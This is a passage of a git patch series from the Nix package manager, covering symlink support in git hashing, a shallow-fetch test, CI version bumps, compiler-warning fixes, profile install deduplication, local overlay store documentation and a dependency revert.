otherwise `false`) Whether to check `rev` for a signature matching `publicKey` or `publicKeys`. diff --git a/tests/nixos/fetch-git/test-cases/fetchTree-shallow/default.nix b/tests/nixos/fetch-git/test-cases/fetchTree-shallow/default.nix new file mode 100644 index 000000000..f635df1f8 --- /dev/null +++ b/tests/nixos/fetch-git/test-cases/fetchTree-shallow/default.nix @@ -0,0 +1,45 @@ +{ + description = "fetchTree fetches git repos shallowly by default"; + script = '' + # purge nix git cache to make sure we start with a clean slate + client.succeed("rm -rf ~/.cache/nix") + + # add two commits to the repo: + # - one with a large file (2M) + # - another one making the file small again + client.succeed(f""" + dd if=/dev/urandom of={repo.path}/thailand bs=1M count=2 \ + && {repo.git} add thailand \ + && {repo.git} commit -m 'commit1' \ + && echo 'ThaigerSprint' > {repo.path}/thailand \ + && {repo.git} add thailand \ + && {repo.git} commit -m 'commit2' \ + && {repo.git} push origin main + """) + + # memoize the revision + commit2_rev = client.succeed(f""" + {repo.git} rev-parse HEAD + """).strip() + + # construct the fetcher call + fetchGit_expr = f""" + builtins.fetchTree {{ + type = "git"; + url = "{repo.remote}"; + rev = "{commit2_rev}"; + }} + """ + + # fetch the repo via nix + fetched1 = client.succeed(f""" + nix eval --impure --raw --expr '({fetchGit_expr}).outPath' + """) + + # check that the size of ~/.cache/nix is less than 1M + cache_size = client.succeed(""" + du -s ~/.cache/nix + """).strip().split()[0] + assert int(cache_size) < 1024, f"cache size is {cache_size}K which is larger than 1M" + ''; +} From bcb5f235f963d3e213c3dbe104be91a9a0a6dd29 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 28 Feb 2024 10:56:07 -0500 Subject: [PATCH 0141/1251] Support symlinks properly with `git-hashing` experimental feature Before, they would not be written to a file `FileSystemObjectSink` correctly. --- src/libutil/git.cc | 75 +++++++++++++++++++------ src/libutil/git.hh | 21 ++++++- tests/functional/git-hashing/simple.sh | 9 +++ tests/unit/libutil/data/git/tree.bin | Bin 100 -> 133 bytes tests/unit/libutil/data/git/tree.txt | 1 + tests/unit/libutil/git.cc | 30 ++++++++-- 6 files changed, 110 insertions(+), 26 deletions(-) diff --git a/src/libutil/git.cc b/src/libutil/git.cc index 5733531fa..0b6e35222 100644 --- a/src/libutil/git.cc +++ b/src/libutil/git.cc @@ -56,31 +56,63 @@ void parseBlob( FileSystemObjectSink & sink, const Path & sinkPath, Source & source, - bool executable, + BlobMode blobMode, const ExperimentalFeatureSettings & xpSettings) { xpSettings.require(Xp::GitHashing); - sink.createRegularFile(sinkPath, [&](auto & crf) { - if (executable) - crf.isExecutable(); + unsigned long long size = std::stoi(getStringUntil(source, 0)); - unsigned long long size = std::stoi(getStringUntil(source, 0)); + auto doRegularFile = [&](bool executable) { + sink.createRegularFile(sinkPath, [&](auto & crf) { + if (executable) + crf.isExecutable(); - crf.preallocateContents(size); + crf.preallocateContents(size); - unsigned long long left = size; - std::string buf; - buf.reserve(65536); + unsigned long long left = size; + std::string buf; + buf.reserve(65536); - while (left) { + while (left) { + checkInterrupt(); + buf.resize(std::min((unsigned long long)buf.capacity(), left)); + source(buf); + crf(buf); + left -= buf.size(); + } + }); + }; + + switch (blobMode) { + + case BlobMode::Regular: + doRegularFile(false); + break; + + case BlobMode::Executable: + doRegularFile(true); + break; + + case BlobMode::Symlink: + { + std::string target; + target.resize(size, '0'); + target.reserve(size); + for (size_t n = 0; n < target.size();) { checkInterrupt(); - buf.resize(std::min((unsigned long long)buf.capacity(), left)); - source(buf); - crf(buf); - left -= buf.size(); + n += source.read( + const_cast(target.c_str()) + n, + target.size() - n); } - }); + + sink.createSymlink(sinkPath, target); + break; + } + + default: + assert(false); + } } void parseTree( @@ -142,7 +174,7 @@ void parse( FileSystemObjectSink & sink, const Path & sinkPath, Source & source, - bool executable, + BlobMode rootModeIfBlob, std::function hook, const ExperimentalFeatureSettings & xpSettings) { @@ -152,7 +184,7 @@ void parse( switch (type) { case ObjectType::Blob: - parseBlob(sink, sinkPath, source, executable, xpSettings); + parseBlob(sink, sinkPath, source, rootModeIfBlob, xpSettings); break; case ObjectType::Tree: parseTree(sink, sinkPath, source, hook, xpSettings); @@ -177,7 +209,7 @@ std::optional convertMode(SourceAccessor::Type type) void restore(FileSystemObjectSink & sink, Source & source, std::function hook) { - parse(sink, "", source, false, [&](Path name, TreeEntry entry) { + parse(sink, "", source, BlobMode::Regular, [&](Path name, TreeEntry entry) { auto [accessor, from] = hook(entry.hash); auto stat = accessor->lstat(from); auto gotOpt = convertMode(stat.type); @@ -275,6 +307,13 @@ Mode dump( } case SourceAccessor::tSymlink: + { + auto target = accessor.readLink(path); + dumpBlobPrefix(target.size(), sink, xpSettings); + sink(target); + return Mode::Symlink; + } + case SourceAccessor::tMisc: default: throw Error("file '%1%' has an unsupported type", path); diff --git a/src/libutil/git.hh b/src/libutil/git.hh index d9eb138e1..cfea48fbe 100644 --- a/src/libutil/git.hh +++ b/src/libutil/git.hh @@ -75,10 +75,23 @@ ObjectType parseObjectType( Source & source, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); +/** + * These 3 modes are represented by blob objects. + * + * Sometimes we need this information to disambiguate how a blob is + * being used to better match our own "file system object" data model. + */ +enum struct BlobMode : RawMode +{ + Regular = static_cast(Mode::Regular), + Executable = static_cast(Mode::Executable), + Symlink = static_cast(Mode::Symlink), +}; + void parseBlob( FileSystemObjectSink & sink, const Path & sinkPath, Source & source, - bool executable, + BlobMode blobMode, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); void parseTree( @@ -89,11 +102,15 @@ void parseTree( /** * Helper putting the previous three `parse*` functions together. + * + * @rootModeIfBlob How to interpret a root blob, for which there is no + * disambiguating dir entry to answer that questino. If the root it not + * a blob, this is ignored. */ void parse( FileSystemObjectSink & sink, const Path & sinkPath, Source & source, - bool executable, + BlobMode rootModeIfBlob, std::function hook, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); diff --git a/tests/functional/git-hashing/simple.sh b/tests/functional/git-hashing/simple.sh index 74b0220f8..604e1a175 100644 --- a/tests/functional/git-hashing/simple.sh +++ b/tests/functional/git-hashing/simple.sh @@ -56,3 +56,12 @@ echo Run Hello World! > $TEST_ROOT/dummy3/dir/executable path3=$(nix store add --mode git --hash-algo sha1 $TEST_ROOT/dummy3) hash3=$(nix-store -q --hash $path3) test "$hash3" = "sha256:08y3nm3mvn9qvskqnf13lfgax5lh73krxz4fcjd5cp202ggpw9nv" + +rm -rf $TEST_ROOT/dummy3 +mkdir -p $TEST_ROOT/dummy3 +mkdir -p $TEST_ROOT/dummy3/dir +touch $TEST_ROOT/dummy3/dir/file +ln -s './hello/world.txt' $TEST_ROOT/dummy3/dir/symlink +path3=$(nix store add --mode git --hash-algo sha1 $TEST_ROOT/dummy3) +hash3=$(nix-store -q --hash $path3) +test "$hash3" = "sha256:1dwazas8irzpar89s8k2bnp72imfw7kgg4aflhhsfnicg8h428f3" diff --git a/tests/unit/libutil/data/git/tree.bin b/tests/unit/libutil/data/git/tree.bin index 5256ec140702fef5f88bd5750caf7cd57c03e5ac..4ccd43e9a977a6c216f0fad5a15c30aaf20da778 100644 GIT binary patch delta 30 jcmYdkW#lL+N=;QTG%}gU9?NZLWB>#Tg{7qt6AeWHezyoG delta 14 VcmZo=Okpo6N=;R;G@8f}3jiOO1S0?d diff --git a/tests/unit/libutil/data/git/tree.txt b/tests/unit/libutil/data/git/tree.txt index be3d02920..cd40b6a55 100644 --- a/tests/unit/libutil/data/git/tree.txt +++ b/tests/unit/libutil/data/git/tree.txt @@ -1,3 +1,4 @@ 100644 blob 63ddb340119baf8492d2da53af47e8c7cfcd5eb2 Foo 100755 blob 63ddb340119baf8492d2da53af47e8c7cfcd5eb2 bAr 040000 tree 4b825dc642cb6eb9a060e54bf8d69288fbee4904 baZ +120000 blob 63ddb340119baf8492d2da53af47e8c7cfcd5eb2 quuX diff --git a/tests/unit/libutil/git.cc b/tests/unit/libutil/git.cc index 76ef86bcf..4f92488d6 100644 --- a/tests/unit/libutil/git.cc +++ b/tests/unit/libutil/git.cc @@ -67,7 +67,7 @@ TEST_F(GitTest, blob_read) { StringSink out; RegularFileSink out2 { out }; ASSERT_EQ(parseObjectType(in, mockXpSettings), ObjectType::Blob); - parseBlob(out2, "", in, false, mockXpSettings); + parseBlob(out2, "", in, BlobMode::Regular, mockXpSettings); auto expected = readFile(goldenMaster("hello-world.bin")); @@ -115,6 +115,15 @@ const static Tree tree = { .hash = Hash::parseAny("4b825dc642cb6eb9a060e54bf8d69288fbee4904", HashAlgorithm::SHA1), }, }, + { + "quuX", + { + .mode = Mode::Symlink, + // hello world with special chars from above (symlink target + // can be anything) + .hash = Hash::parseAny("63ddb340119baf8492d2da53af47e8c7cfcd5eb2", HashAlgorithm::SHA1), + }, + }, }; TEST_F(GitTest, tree_read) { @@ -165,6 +174,12 @@ TEST_F(GitTest, both_roundrip) { .contents = "good day,\n\0\n\tworld!", }, }, + { + "quux", + File::Symlink { + .target = "/over/there", + }, + }, }, }, }, @@ -195,21 +210,24 @@ TEST_F(GitTest, both_roundrip) { MemorySink sinkFiles2 { files2 }; - std::function mkSinkHook; - mkSinkHook = [&](auto prefix, auto & hash, auto executable) { + std::function mkSinkHook; + mkSinkHook = [&](auto prefix, auto & hash, auto blobMode) { StringSource in { cas[hash] }; parse( - sinkFiles2, prefix, in, executable, + sinkFiles2, prefix, in, blobMode, [&](const Path & name, const auto & entry) { mkSinkHook( prefix + "/" + name, entry.hash, - entry.mode == Mode::Executable); + // N.B. this cast would not be acceptable in real + // code, because it would make an assert reachable, + // but it should harmless in this test. + static_cast(entry.mode)); }, mockXpSettings); }; - mkSinkHook("", root.hash, false); + mkSinkHook("", root.hash, BlobMode::Regular); ASSERT_EQ(files, files2); } From 4d769e7a76bee1e8c967f20d72eb5f3a357577ee Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 28 Feb 2024 19:54:17 +0100 Subject: [PATCH 0142/1251] actions docker_push_image: Update nix 2.13.3 -> 2.20.3 --- .github/workflows/ci.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 38126dd68..2aa3a3300 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -64,7 +64,7 @@ jobs: - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV - uses: cachix/install-nix-action@v25 with: - install_url: https://releases.nixos.org/nix/nix-2.13.3/install + install_url: https://releases.nixos.org/nix/nix-2.20.3/install - uses: cachix/cachix-action@v14 with: name: '${{ env.CACHIX_NAME }}' @@ -116,7 +116,7 @@ jobs: fetch-depth: 0 - uses: cachix/install-nix-action@v25 with: - install_url: https://releases.nixos.org/nix/nix-2.13.3/install + install_url: https://releases.nixos.org/nix/nix-2.20.3/install - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV - run: echo NIX_VERSION="$(nix --experimental-features 'nix-command flakes' eval .\#default.version | tr -d \")" >> $GITHUB_ENV - uses: cachix/cachix-action@v14 From f6158ea53b90a60899ee8171c04dc1f978fb8723 Mon Sep 17 00:00:00 2001 From: Jade Lovelace Date: Mon, 26 Feb 2024 00:30:51 -0800 Subject: [PATCH 0143/1251] finally.hh: include works by itself; mark as nodiscard --- src/libutil/finally.hh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/libutil/finally.hh b/src/libutil/finally.hh index db654301f..4cae20a36 100644 --- a/src/libutil/finally.hh +++ b/src/libutil/finally.hh @@ -1,11 +1,13 @@ #pragma once ///@file +#include + /** * A trivial class to run a function at the end of a scope. */ template -class Finally +class [[nodiscard("Finally values must be used")]] Finally { private: Fn fun; From 65bb12ba78c7cef975515e025c72cf68b7e738b3 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 28 Feb 2024 22:59:20 +0100 Subject: [PATCH 0144/1251] Fix gcc 12 warnings --- src/libstore/build-result.hh | 5 +++++ src/libstore/build/local-derivation-goal.cc | 1 + src/libstore/daemon.cc | 2 ++ src/libstore/remote-store.cc | 2 ++ src/libutil/file-content-address.cc | 2 +- 5 files changed, 11 insertions(+), 1 deletion(-) diff --git a/src/libstore/build-result.hh b/src/libstore/build-result.hh index 8840fa7e3..3636ad3a4 100644 --- a/src/libstore/build-result.hh +++ b/src/libstore/build-result.hh @@ -123,6 +123,11 @@ struct KeyedBuildResult : BuildResult * The derivation we built or the store path we substituted. */ DerivedPath path; + + // Hack to work around a gcc "may be used uninitialized" warning. + KeyedBuildResult(BuildResult res, DerivedPath path) + : BuildResult(std::move(res)), path(std::move(path)) + { } }; } diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index a9b8de123..c7a658361 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -2480,6 +2480,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() CanonPath { tmpDir + "/tmp" }).hash; } } + assert(false); }(); ValidPathInfo newInfo0 { diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc index e1337f51d..917813342 100644 --- a/src/libstore/daemon.cc +++ b/src/libstore/daemon.cc @@ -415,6 +415,8 @@ static void performOp(TunnelLogger * logger, ref store, // Use NAR; Git is not a serialization method dumpMethod = FileSerialisationMethod::Recursive; break; + default: + assert(false); } // TODO these two steps are essentially RemoteStore::addCAToStore. Move it up to Store. auto path = store->addToStoreFromDump(source, name, dumpMethod, contentAddressMethod, hashAlgo, refs, repair); diff --git a/src/libstore/remote-store.cc b/src/libstore/remote-store.cc index 8dfe8adda..09196481b 100644 --- a/src/libstore/remote-store.cc +++ b/src/libstore/remote-store.cc @@ -527,6 +527,8 @@ StorePath RemoteStore::addToStoreFromDump( // Use NAR; Git is not a serialization method fsm = FileSerialisationMethod::Recursive; break; + default: + assert(false); } if (fsm != dumpMethod) unsupported("RemoteStore::addToStoreFromDump doesn't support this `dumpMethod` `hashMethod` combination"); diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc index 471bda6a0..570247b9e 100644 --- a/src/libutil/file-content-address.cc +++ b/src/libutil/file-content-address.cc @@ -123,7 +123,7 @@ Hash hashPath( case FileIngestionMethod::Git: return git::dumpHash(ht, accessor, path, filter).hash; } - + assert(false); } } From 14adff17113dd2d4c0eb6c540a74308019829866 Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Mon, 26 Feb 2024 21:09:17 +0100 Subject: [PATCH 0145/1251] profile install: skip and warn on installing package twice --- src/nix/profile.cc | 21 ++++++++++++++++++++- tests/functional/nix-profile.sh | 3 +++ 2 files changed, 23 insertions(+), 1 deletion(-) diff --git a/src/nix/profile.cc b/src/nix/profile.cc index e04ae008d..d39a24d36 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -395,7 +395,26 @@ struct CmdProfileInstall : InstallablesCommand, MixDefaultProfile element.updateStorePaths(getEvalStore(), store, res); - manifest.addElement(std::move(element)); + auto elementName = getNameFromElement(element); + + // Check if the element already exists. + auto existingPair = manifest.elements.find(elementName); + if (existingPair != manifest.elements.end()) { + auto existingElement = existingPair->second; + auto existingSource = existingElement.source; + auto elementSource = element.source; + if (existingSource + && elementSource + && existingElement.priority == element.priority + && existingSource->originalRef == elementSource->originalRef + && existingSource->attrPath == elementSource->attrPath + ) { + warn("'%s' is already installed", elementName); + continue; + } + } + + manifest.addElement(elementName, std::move(element)); } try { diff --git a/tests/functional/nix-profile.sh b/tests/functional/nix-profile.sh index 88b713d53..ee93251e9 100644 --- a/tests/functional/nix-profile.sh +++ b/tests/functional/nix-profile.sh @@ -64,6 +64,9 @@ nix profile install $flake1Dir [[ $($TEST_HOME/.local/state/nix/profile/bin/hello) = "Hello World" ]] unset NIX_CONFIG +# Test conflicting package install. +nix profile install $flake1Dir 2>&1 | grep "warning: 'flake1' is already installed" + # Test upgrading a package. printf NixOS > $flake1Dir/who printf 2.0 > $flake1Dir/version From 9b506ff0c1e48fa805eab86eb43bd99ac1ae24a3 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 29 Feb 2024 10:06:53 -0500 Subject: [PATCH 0146/1251] Activate `hermetic.nix` variation only for new layered store tests --- tests/functional/hermetic.nix | 9 +++++++-- tests/functional/local-overlay-store/common.sh | 2 +- .../functional/local-overlay-store/delete-refs-inner.sh | 8 ++++---- 3 files changed, 12 insertions(+), 7 deletions(-) diff --git a/tests/functional/hermetic.nix b/tests/functional/hermetic.nix index 810180ac6..d1dccdff3 100644 --- a/tests/functional/hermetic.nix +++ b/tests/functional/hermetic.nix @@ -1,4 +1,9 @@ -{ busybox, seed }: +{ busybox +, seed +# If we want the final derivation output to have references to its +# dependencies. Some tests need/want this, other don't. +, withFinalRefs ? false +}: with import ./config.nix; @@ -54,6 +59,6 @@ in '' read x < ${input1} read y < ${input3} - echo ${input1} ${input3} "$x $y" > $out + echo ${if (builtins.trace withFinalRefs withFinalRefs) then "${input1} ${input3}" else ""} "$x $y" > $out ''; } diff --git a/tests/functional/local-overlay-store/common.sh b/tests/functional/local-overlay-store/common.sh index e1da00b42..13d921c5e 100644 --- a/tests/functional/local-overlay-store/common.sh +++ b/tests/functional/local-overlay-store/common.sh @@ -65,7 +65,7 @@ initLowerStore () { nix-store --store "$storeA" --add ../dummy # Build something in lower store - drvPath=$(nix-instantiate --store $storeA ../hermetic.nix --arg busybox "$busybox" --arg seed 1) + drvPath=$(nix-instantiate --store $storeA ../hermetic.nix --arg withFinalRefs true --arg busybox "$busybox" --arg seed 1) pathInLowerStore=$(nix-store --store "$storeA" --realise $drvPath) } diff --git a/tests/functional/local-overlay-store/delete-refs-inner.sh b/tests/functional/local-overlay-store/delete-refs-inner.sh index e24f34a85..385eeadc9 100644 --- a/tests/functional/local-overlay-store/delete-refs-inner.sh +++ b/tests/functional/local-overlay-store/delete-refs-inner.sh @@ -16,10 +16,10 @@ mountOverlayfs export NIX_REMOTE="$storeB" stateB="$storeBRoot/nix/var/nix" -hermetic=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg seed 2) -input1=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg seed 2 -A passthru.input1 -j0) -input2=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg seed 2 -A passthru.input2 -j0) -input3=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg seed 2 -A passthru.input3 -j0) +hermetic=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg withFinalRefs true --arg seed 2) +input1=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg withFinalRefs true --arg seed 2 -A passthru.input1 -j0) +input2=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg withFinalRefs true --arg seed 2 -A passthru.input2 -j0) +input3=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg withFinalRefs true --arg seed 2 -A passthru.input3 -j0) # Can't delete because referenced expectStderr 1 nix-store --delete $input1 | grepQuiet "Cannot delete path" From bcd6b33dbcbd2e9c2ef3eaf50b9339fe9a33a49d Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 29 Feb 2024 11:58:53 -0500 Subject: [PATCH 0147/1251] Polish local overlay store docs --- src/libstore/local-overlay-store.md | 95 ++++++++++++++++++----------- 1 file changed, 61 insertions(+), 34 deletions(-) diff --git a/src/libstore/local-overlay-store.md b/src/libstore/local-overlay-store.md index 882d2c5ce..b85f69205 100644 --- a/src/libstore/local-overlay-store.md +++ b/src/libstore/local-overlay-store.md @@ -3,61 +3,92 @@ R"( **Store URL format**: `local-overlay` This store type is a variation of the [local store] designed to leverage Linux's [Overlay Filesystem](https://docs.kernel.org/filesystems/overlayfs.html) (OverlayFS for short). -Just as OverlayFS combines a lower and upper filesystem by treating the upper one as a patch against the lower, the local overlay store combines a lower store with an upper almost [local store]. +Just as OverlayFS combines a lower and upper filesystem by treating the upper one as a patch against the lower, the local overlay store combines a lower store with an upper almost-[local store]. ("almost" because while the upper fileystems for OverlayFS is valid on its own, the upper almost-store is not a valid local store on its own because some references will dangle.) To use this store, you will first need to configure an OverlayFS mountpoint [appropriately](#example-filesystem-layout) as Nix will not do this for you (though it will verify the mountpoint is configured correctly). -### Parts of a local overlay store +### Conceptual parts of a local overlay store + +*This is a more abstract/conceptual description of the parts of a layered store, an authoritative reference. +For more "practical" instructions, see the worked-out example in the next subsection.* The parts of a local overlay store are as follows: -- Lower store: +- **Lower store**: This is any store implementation that includes a store directory as part of the native operating system filesystem. For example, this could be a [local store], [local daemon store], or even another local overlay store. + The local overlay store never tries to modify the lower store in any way. + Something else could modify the lower store, but there are restrictions on this + Nix itself requires that this store only grow, and not change in other ways. + For example, new store objects can be added, but deleting or modifying store objects is not allowed in general, because that will confuse and corrupt any local overlay store using those objects. + (In addition, the underlying filesystem overlay mechanism may imposed additional restrictions, see below.) + The lower store must not change while it is mounted as part of an overlay store. To ensure it does not, you might want to mount the store directory read-only (which then requires the [read-only] parameter to be set to `true`). - Specified with the `lower-store` setting. + Specified with the [`lower-store`](#store-experimental-local-overlay-store-lower-store) setting. + + - **Lower store directory**: - - Lower store directory. This is the directory used/exposed by the lower store. Specified with `lower-store.real` setting. - - Lower abstract read-only metadata source. - This is abstract, just some way to read the metadata of lower store [store objects](@docroot@/glossary.md#gloss-store-object). + As specified above, Nix requires the local store can only grow not change in other ways. + Linux's OverlayFS in addition imposes the further requirement that this directory cannot change at all. + That means that, while any local overlay store exists that is using this store as a lower store, this directory must not change. + + - **Lower metadata source**: + + This is abstract, just some way to read the metadata of lower store [store objects][store object]. For example it could be a SQLite database (for the [local store]), or a socket connection (for the [local daemon store]). -- Upper almost-store: + This need not be writable. + As stated above a local overlay store never tries to modify its lower store. + The lower store's metadata is considered part of the lower store, just as the store's [file system objects][file system object] that appear in the store directory are. - This is a [local store] that by itself would appear corrupted. +- **Upper almost-store**: + + This is almost but not quite just a [local store]. + That is because taken in isolation, not as part of a local overlay store, by itself, it would appear corrupted. But combined with everything else as part of an overlay local store, it is valid. - - Upper layer directory. - This contains additional [store objects] - (or, strictly speaking, their [file system objects](#gloss-file-system-object)) - that the local overlay store will extend the lower store with. + - **Upper layer directory**: - Specified with `upper-layer` setting. + This contains additional [store objects][store object] + (or, strictly speaking, their [file system objects][file system object] that the local overlay store will extend the lower store with). + + Specified with [`upper-layer`](#store-experimental-local-overlay-store-upper-layer) setting. + + - **Upper store directory**: - - Upper store directory - The lower store directory and upper layer directory are combined via OverlayFS to create this directory. This contains all the store objects from each of the two directories. - Specified with the `real` setting. + The lower store directory and upper layer directory are combined via OverlayFS to create this directory. + Nix doesn't do this itself, because it typically wouldn't have the permissions to do so, so it is the responsibility of the user to set this up first. + Nix can, however, optionally check that that the OverlayFS mount settings appear as expected, matching Nix's own settings. - - Upper SQLite database - This contains the metadata of all of the upper layer [store objects]: everything beyond their file system objects, and also duplicate copies of some lower layer ones. - The duplication is so the metadata for the [closure](@docroot@/glossary.md#gloss-closure) of upper layer [store objects] can entirely be found in the upper layer. - This allows us to use the same SQL Schema as the [local store]'s SQLite database, as foreign keys in that schema enforce closure metadata to be self-contained in this way. + Specified with the [`real`](#store-experimental-local-overlay-store-real) setting. - Specified with the `state` setting, is always `${state}/db`. + - **Upper SQLite database**: + + This contains the metadata of all of the upper layer [store objects][store object] (everything beyond their file system objects), and also duplicate copies of some lower layer store object's metadta. + The duplication is so the metadata for the [closure](@docroot@/glossary.md#gloss-closure) of upper layer [store objects][store object] can be found entirely within the upper layer. + (This allows us to use the same SQL Schema as the [local store]'s SQLite database, as foreign keys in that schema enforce closure metadata to be self-contained in this way.) + + The location of the database is directly specified, but depends on the [`state`](#store-experimental-local-overlay-store-state) setting. + It is is always `${state}/db`. + +[file system object]: @docroot@/store/file-system-object.md +[store object]: @docroot@/store/store-object.md ### Example filesystem layout +Here is a worked out example of usage, following the concepts in the previous section. + Say we have the following paths: - `/mnt/example/merged-store/nix/store` @@ -66,23 +97,22 @@ Say we have the following paths: - `/mnt/example/store-b` - Then the following store URI can be used to access a local-overlay store at `/mnt/example/merged-store`: ``` - local-overlay://?root=/mnt/example/merged-store&lower-store=/mnt/example/store-a&upper-layer=/mnt/example/store-b +local-overlay://?root=/mnt/example/merged-store&lower-store=/mnt/example/store-a&upper-layer=/mnt/example/store-b ``` -The lower store is located at `/mnt/example/store-a/nix/store`, while the upper layer is at `/mnt/example/store-b`. +The lower store directory is located at `/mnt/example/store-a/nix/store`, while the upper layer is at `/mnt/example/store-b`. Before accessing the overlay store you will need to ensure the OverlayFS mount is set up correctly: -``` - mount -t overlay overlay \ - -o lowerdir="/mnt/example/store-a/nix/store" \ - -o upperdir="/mnt/example/store-b" \ - -o workdir="/mnt/example/workdir" \ - "/mnt/example/merged-store/nix/store" \ +```shell +mount -t overlay overlay \ + -o lowerdir="/mnt/example/store-a/nix/store" \ + -o upperdir="/mnt/example/store-b" \ + -o workdir="/mnt/example/workdir" \ + "/mnt/example/merged-store/nix/store" ``` Note that OverlayFS requires `/mnt/example/workdir` to be on the same volume as the `upperdir`. @@ -90,7 +120,4 @@ Note that OverlayFS requires `/mnt/example/workdir` to be on the same volume as By default, Nix will check that the mountpoint as been set up correctly and fail with an error if it has not. You can override this behaviour by passing [`check-mount=false`](#store-experimental-local-overlay-store-check-mount) if you need to. - - - )" From d6d7d2cb4617c571e1ee7c152818f3b7a07a5f81 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 29 Feb 2024 14:39:29 -0500 Subject: [PATCH 0148/1251] Revert "Merge pull request #9546 from NixOS/nixos-23.11" This reverts commit 587c7dcb2bc4e504159f527c7e776ede231bd0db, reversing changes made to 864fc85fc88ff092725ba99907611b2b8d2205fb. --- Makefile | 1 - flake.lock | 8 ++++---- flake.nix | 26 +++++++++++++++----------- package.nix | 2 +- src/libstore/local-store.cc | 2 +- tests/functional/git-hashing/common.sh | 2 +- tests/functional/impure-env.sh | 2 +- 7 files changed, 23 insertions(+), 20 deletions(-) diff --git a/Makefile b/Makefile index af00e58b2..a33614d26 100644 --- a/Makefile +++ b/Makefile @@ -69,7 +69,6 @@ ifeq ($(OPTIMIZE), 1) GLOBAL_LDFLAGS += $(CXXLTO) else GLOBAL_CXXFLAGS += -O0 -U_FORTIFY_SOURCE - unexport NIX_HARDENING_ENABLE endif include mk/platform.mk diff --git a/flake.lock b/flake.lock index bb2e400c0..f0efb4036 100644 --- a/flake.lock +++ b/flake.lock @@ -34,16 +34,16 @@ }, "nixpkgs": { "locked": { - "lastModified": 1709083642, - "narHash": "sha256-7kkJQd4rZ+vFrzWu8sTRtta5D1kBG0LSRYAfhtmMlSo=", + "lastModified": 1705033721, + "narHash": "sha256-K5eJHmL1/kev6WuqyqqbS1cdNnSidIZ3jeqJ7GbrYnQ=", "owner": "NixOS", "repo": "nixpkgs", - "rev": "b550fe4b4776908ac2a861124307045f8e717c8e", + "rev": "a1982c92d8980a0114372973cbdfe0a307f1bdea", "type": "github" }, "original": { "owner": "NixOS", - "ref": "release-23.11", + "ref": "nixos-23.05-small", "repo": "nixpkgs", "type": "github" } diff --git a/flake.nix b/flake.nix index 42aaace67..0bc70768e 100644 --- a/flake.nix +++ b/flake.nix @@ -1,9 +1,7 @@ { description = "The purely functional package manager"; - # TODO switch to nixos-23.11-small - # https://nixpk.gs/pr-tracker.html?pr=291954 - inputs.nixpkgs.url = "github:NixOS/nixpkgs/release-23.11"; + inputs.nixpkgs.url = "github:NixOS/nixpkgs/nixos-23.05-small"; inputs.nixpkgs-regression.url = "github:NixOS/nixpkgs/215d4d0fd80ca5163643b03a33fde804a29cc1e2"; inputs.flake-compat = { url = "github:edolstra/flake-compat"; flake = false; }; inputs.libgit2 = { url = "github:libgit2/libgit2"; flake = false; }; @@ -12,10 +10,20 @@ let inherit (nixpkgs) lib; - inherit (lib) fileset; + + # Experimental fileset library: https://github.com/NixOS/nixpkgs/pull/222981 + # Not an "idiomatic" flake input because: + # - Propagation to dependent locks: https://github.com/NixOS/nix/issues/7730 + # - Subflake would download redundant and huge parent flake + # - No git tree hash support: https://github.com/NixOS/nix/issues/6044 + inherit (import (builtins.fetchTarball { url = "https://github.com/NixOS/nix/archive/1bdcd7fc8a6a40b2e805bad759b36e64e911036b.tar.gz"; sha256 = "sha256:14ljlpdsp4x7h1fkhbmc4bd3vsqnx8zdql4h3037wh09ad6a0893"; })) + fileset; officialRelease = false; + # Set to true to build the release notes for the next release. + buildUnreleasedNotes = false; + version = lib.fileContents ./.version + versionSuffix; versionSuffix = if officialRelease @@ -396,11 +404,8 @@ # Make bash completion work. XDG_DATA_DIRS+=:$out/share ''; - nativeBuildInputs = attrs.nativeBuildInputs or [] - # TODO: Remove the darwin check once - # https://github.com/NixOS/nixpkgs/pull/291814 is available - ++ lib.optional (stdenv.cc.isClang && !stdenv.buildPlatform.isDarwin) pkgs.buildPackages.bear + ++ lib.optional stdenv.cc.isClang pkgs.buildPackages.bear ++ lib.optional (stdenv.cc.isClang && stdenv.hostPlatform == stdenv.buildPlatform) pkgs.buildPackages.clang-tools; }); in @@ -412,9 +417,8 @@ (forAllStdenvs (stdenvName: makeShell pkgs pkgs.${stdenvName})); in (makeShells "native" nixpkgsFor.${system}.native) // - (lib.optionalAttrs (!nixpkgsFor.${system}.native.stdenv.isDarwin) - (makeShells "static" nixpkgsFor.${system}.static)) // - (lib.genAttrs shellCrossSystems (crossSystem: let pkgs = nixpkgsFor.${system}.cross.${crossSystem}; in makeShell pkgs 